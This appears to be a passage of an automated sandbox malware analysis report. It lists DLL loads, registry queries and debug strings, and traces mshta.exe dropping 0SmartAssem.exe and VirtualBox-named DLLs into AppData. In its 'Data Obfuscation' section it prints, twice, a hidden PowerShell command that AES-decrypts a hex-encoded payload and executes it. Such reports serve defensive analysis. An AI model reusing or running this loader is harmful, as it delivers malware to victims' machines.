Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: r:\tinderbox\win-qt-5.15\out\qtbase\lib\Qt5SqlVBox.pdb00 source: Qt5SqlVBox.dll.5.dr
Source:	Binary string: D:\tinderboxa\win-7.0\out\win.amd64\release\obj\VBoxSharedClipboard\VBoxSharedClipboard.pdb source: VBoxSharedClipboard.dll.5.dr
Source:	Binary string: dialer.pdbGCTL source: mshta.exe, 00000003.00000002.2371336752.000002376BDEF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2359272014.0000023769CFB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358542351.000002376BED3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2370883950.0000023769CD4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2363090899.0000023769D12000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2367001047.000002376BE02000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358000601.000002376BED3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2362755173.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2361886828.000002376BDEF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358786546.000002376BED5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2367001047.000002376BDEF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2359185745.000002376BED6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358000601.000002376BE3C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2366555321.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2362119831.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2366217044.0000023769D12000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2371500355.000002376BE81000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2362034445.0000023769CC4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2359137720.000002376BE81000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358226135.000002376BEAE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2359272014.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2366801672.000002376BE8D000.00000004.00000020.00020000.00000000.sdmp, smart1[1].3.dr
Source:	Binary string: BitLockerToGo.pdb source: 0SmartAssem.exe, 00000008.00000003.1981482070.0000022BEFA80000.00000004.00001000.00020000.00000000.sdmp, 0SmartAssem.exe, 00000008.00000003.1981404969.0000022BEFD30000.00000004.00001000.00020000.00000000.sdmp, 0SmartAssem.exe, 00000008.00000002.1998133835.000000C0004BB000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: r:\tinderbox\win-qt-5.15\out\qtbase\lib\Qt5PrintSupportVBox.pdb22 source: Qt5PrintSupportVBox.dll.5.dr
Source:	Binary string: r:\tinderbox\win-qt-5.15\out\qtbase\lib\Qt5PrintSupportVBox.pdb source: Qt5PrintSupportVBox.dll.5.dr
Source:	Binary string: D:\tinderboxa\win-7.0\out\win.amd64\release\obj\VBoxSharedFolders\VBoxSharedFolders.pdb source: VBoxSharedFolders.dll.5.dr
Source:	Binary string: D:\tinderboxa\win-7.0\out\win.amd64\release\obj\VBoxSupLib\VBoxSupLib.pdb source: VBoxSupLib.dll.5.dr
Source:	Binary string: dialer.pdb source: mshta.exe, 00000003.00000002.2371336752.000002376BDEF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2367001047.000002376BE02000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2362755173.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2361886828.000002376BDEF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2367001047.000002376BDEF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2366555321.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2362119831.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2362034445.0000023769CC4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2359272014.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, smart1[1].3.dr
Source:	Binary string: BitLockerToGo.pdbGCTL source: 0SmartAssem.exe, 00000008.00000003.1981482070.0000022BEFA80000.00000004.00001000.00020000.00000000.sdmp, 0SmartAssem.exe, 00000008.00000003.1981404969.0000022BEFD30000.00000004.00001000.00020000.00000000.sdmp, 0SmartAssem.exe, 00000008.00000002.1998133835.000000C0004BB000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: r:\tinderbox\win-qt-5.15\out\qtbase\lib\Qt5SqlVBox.pdb source: Qt5SqlVBox.dll.5.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function HbAHmnxA($ZzZovm){return -split ($ZzZovm -replace '..', '0x$& ')};$PEcdKn = HbAHmnxA('649390CFEBE1770BAA5146DE729123CCD838E758E4276A363F637B3AAF033337AC0657955271E9550F501406601E1A41860E46E19B664FF95794FF1F3D04636BD08F0C38C4B63E80890B016BD8AB0B78879EF113B89A3F38F6F895DE87AEA8D3B7F0CCEB19C1832E835097ECCB2C36890967C12BEB560476870CFCA3B2026770977E5BFC6237BA383AB0C9BC4FEE55E653DB382E41C9866A6C0222D784911F31EBB65E3730429D060FF2E1FCA15D8F85018D75055E5F3D7F26332EE40768EC9BAFDC24FC0691D6B57AB81120A83FF0208197B7794EB8E48F081D5265C2EDE5BE7C897C05ABF2349EBA71B3759948F6CC4E3D2AA8CB8B87BC3EF6DD53F55E24B1A14B06982580B23E1CDC89A89E5FC9AEBCC45162B160BDD6D1DD820E751C213F642E6174AB940A544437CBD4B95F451F49854521B6B5F25DC2958288B9E8AE3E84EC687BF5FD542FD21B03B728755D38B9F795538690A1731AD87A4FF035E0E4DF4D5D5926749BCC457636F04DB20D58FEF916462DCAC2915FF336ECE4C613138832FB8CB53EC4DDA139297818B53354F21F92E9A237CDEA5EBA27FD7E08ABAD8BC364C8AC9D4DA7EF88987044E30E52F804D80E2DCF76EB0C85804D4469E0F07C9E5CE26611DE49AD0BB0333D282354BE10F943982430B1169A615E79E3E0C5EC79DA387AD53EAF2FD764DBB293F0EF18D616EEF99C38992715145D16CA68D09F1D913D460445AD05E1641EE4AC2B1E944F7FF45B6C7C51974DECC8B09B1CCBDC8ED7174A14C70F59EA9B96E93E8A336D668FF3C2DC68D75472553892C38D8F32E86361D381E1EE6E6E1BCA21FA73FC43DDDAFCED280453E7B5D154F59EF2BE213C2656F282EABC6A8D2F17A8B47C539E9817820B02E234FD821466297478CF4C06BF88B97D45DCF3E4C807DE237AD7614DCD6332D4DE950C177646C50F08062E130279ECE8B08C9945A79ECF6C4B88024A24DC840A12E22F404F56B7C13E2F9DC8AADEB49ECC7A67AE9983475129E57AFB8D0F9326B22E9B79AAA56DB3EEC92EA9708998095778497441E15D7795F50116CF78185726E9A7F7A3E40D436D50F77BDA8DDDBFD8CEBB4C758EA3595453635FE911BA9691EB0E2A28529D8C4B9E2D50DD40CBDBC57F9D07995096EB6B48448429C1F014B7BDF9146EC21A79ADA827E6590D159548021642354333FC8154696C9E79B4CDA3E5D22551F1F2387AAA9CE4464C571969727F845599B1BD312EB356A5E140EC6F91912B1227B9F3A941727413D53C0FE2B26DE40BB2B36462055BBF7E8A6B8281CC7FFD4048A1CD97104C3A63FF87CE63106EF7443D01D5FCE1FD67A7E73EE2A8F2CD2EFED7B4A7796DB2328BD317F0349F8B606845CBF4FC0F73D45630EF3466836C0A93133F760481FB4E2F4E46DBFF6A7AA0455989567090A3EBB373F3EC52B5EE0558518BC12408677670492BEA93021308DF47CD62CF99B8E473176B2965284653204CE093A6D8CE56300896793A61754D407EB838A56372881C0664AF37F1E9500BBAC243013C5F5953ABE1CD43347B87C2D6ED6169C7B0D8242DE3ED14C3F856F471A13CEFE0993EE315D5305CC2AC9054976C9CA5A6');$jqkxh = [System.Security.Cryptography.Aes]::Create();$jqkxh.Key = HbAHmnxA('52615577706262664D6D43476F4F4344');$jqkxh.IV = New-Object byte[] 16;$SpkOqCAK = $jqkxh.CreateDecryptor();$cWklkDGxO = $SpkOqCAK.TransformFinalBlock($PEcdKn, 0, $PEcdKn.Length);$mTmnXpOAf = [System.Text.Encoding]::Utf8.GetString($cWklkDGxO);$SpkOqCAK.Dispose();& $mTmnXpOAf.Substring(0,3) $mTmnXpOAf.Substring(3)
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function HbAHmnxA($ZzZovm){return -split ($ZzZovm -replace '..', '0x$& ')};$PEcdKn = HbAHmnxA('649390CFEBE1770BAA5146DE729123CCD838E758E4276A363F637B3AAF033337AC0657955271E9550F501406601E1A41860E46E19B664FF95794FF1F3D04636BD08F0C38C4B63E80890B016BD8AB0B78879EF113B89A3F38F6F895DE87AEA8D3B7F0CCEB19C1832E835097ECCB2C36890967C12BEB560476870CFCA3B2026770977E5BFC6237BA383AB0C9BC4FEE55E653DB382E41C9866A6C0222D784911F31EBB65E3730429D060FF2E1FCA15D8F85018D75055E5F3D7F26332EE40768EC9BAFDC24FC0691D6B57AB81120A83FF0208197B7794EB8E48F081D5265C2EDE5BE7C897C05ABF2349EBA71B3759948F6CC4E3D2AA8CB8B87BC3EF6DD53F55E24B1A14B06982580B23E1CDC89A89E5FC9AEBCC45162B160BDD6D1DD820E751C213F642E6174AB940A544437CBD4B95F451F49854521B6B5F25DC2958288B9E8AE3E84EC687BF5FD542FD21B03B728755D38B9F795538690A1731AD87A4FF035E0E4DF4D5D5926749BCC457636F04DB20D58FEF916462DCAC2915FF336ECE4C613138832FB8CB53EC4DDA139297818B53354F21F92E9A237CDEA5EBA27FD7E08ABAD8BC364C8AC9D4DA7EF88987044E30E52F804D80E2DCF76EB0C85804D4469E0F07C9E5CE26611DE49AD0BB0333D282354BE10F943982430B1169A615E79E3E0C5EC79DA387AD53EAF2FD764DBB293F0EF18D616EEF99C38992715145D16CA68D09F1D913D460445AD05E1641EE4AC2B1E944F7FF45B6C7C51974DECC8B09B1CCBDC8ED7174A14C70F59EA9B96E93E8A336D668FF3C2DC68D75472553892C38D8F32E86361D381E1EE6E6E1BCA21FA73FC43DDDAFCED280453E7B5D154F59EF2BE213C2656F282EABC6A8D2F17A8B47C539E9817820B02E234FD821466297478CF4C06BF88B97D45DCF3E4C807DE237AD7614DCD6332D4DE950C177646C50F08062E130279ECE8B08C9945A79ECF6C4B88024A24DC840A12E22F404F56B7C13E2F9DC8AADEB49ECC7A67AE9983475129E57AFB8D0F9326B22E9B79AAA56DB3EEC92EA9708998095778497441E15D7795F50116CF78185726E9A7F7A3E40D436D50F77BDA8DDDBFD8CEBB4C758EA3595453635FE911BA9691EB0E2A28529D8C4B9E2D50DD40CBDBC57F9D07995096EB6B48448429C1F014B7BDF9146EC21A79ADA827E6590D159548021642354333FC8154696C9E79B4CDA3E5D22551F1F2387AAA9CE4464C571969727F845599B1BD312EB356A5E140EC6F91912B1227B9F3A941727413D53C0FE2B26DE40BB2B36462055BBF7E8A6B8281CC7FFD4048A1CD97104C3A63FF87CE63106EF7443D01D5FCE1FD67A7E73EE2A8F2CD2EFED7B4A7796DB2328BD317F0349F8B606845CBF4FC0F73D45630EF3466836C0A93133F760481FB4E2F4E46DBFF6A7AA0455989567090A3EBB373F3EC52B5EE0558518BC12408677670492BEA93021308DF47CD62CF99B8E473176B2965284653204CE093A6D8CE56300896793A61754D407EB838A56372881C0664AF37F1E9500BBAC243013C5F5953ABE1CD43347B87C2D6ED6169C7B0D8242DE3ED14C3F856F471A13CEFE0993EE315D5305CC2AC9054976C9CA5A6');$jqkxh = [System.Security.Cryptography.Aes]::Create();$jqkxh.Key = HbAHmnxA('52615577706262664D6D43476F4F4344');$jqkxh.IV = New-Object byte[] 16;$SpkOqCAK = $jqkxh.CreateDecryptor();$cWklkDGxO = $SpkOqCAK.TransformFinalBlock($PEcdKn, 0, $PEcdKn.Length);$mTmnXpOAf = [System.Text.Encoding]::Utf8.GetString($cWklkDGxO);$SpkOqCAK.Dispose();& $mTmnXpOAf.Substring(0,3) $mTmnXpOAf.Substring(3)			Jump to behavior

Source: smart1[1].3.dr

Static PE information: 0xC5AA0E47 [Fri Feb 1 14:18:47 2075 UTC]

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 11_2_0306BA2C LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

11_2_0306BA2C

Source: smart1[1].3.dr

Static PE information: real checksum: 0x12283 should be: 0x2b4c9

Source: 0SmartAssem.exe.5.dr

Static PE information: section name: .xdata

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 11_2_0306A9F5 push ecx; ret

11_2_0306AA08

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\VBoxSharedFolders.dll	Jump to dropped file
Source: C:\Windows\System32\mshta.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\smart1[1]	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\VBoxSharedClipboard.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\VBoxVMM.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Qt5SqlVBox.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\0SmartAssem.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\VBoxSupLib.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Qt5PrintSupportVBox.dll	Jump to dropped file

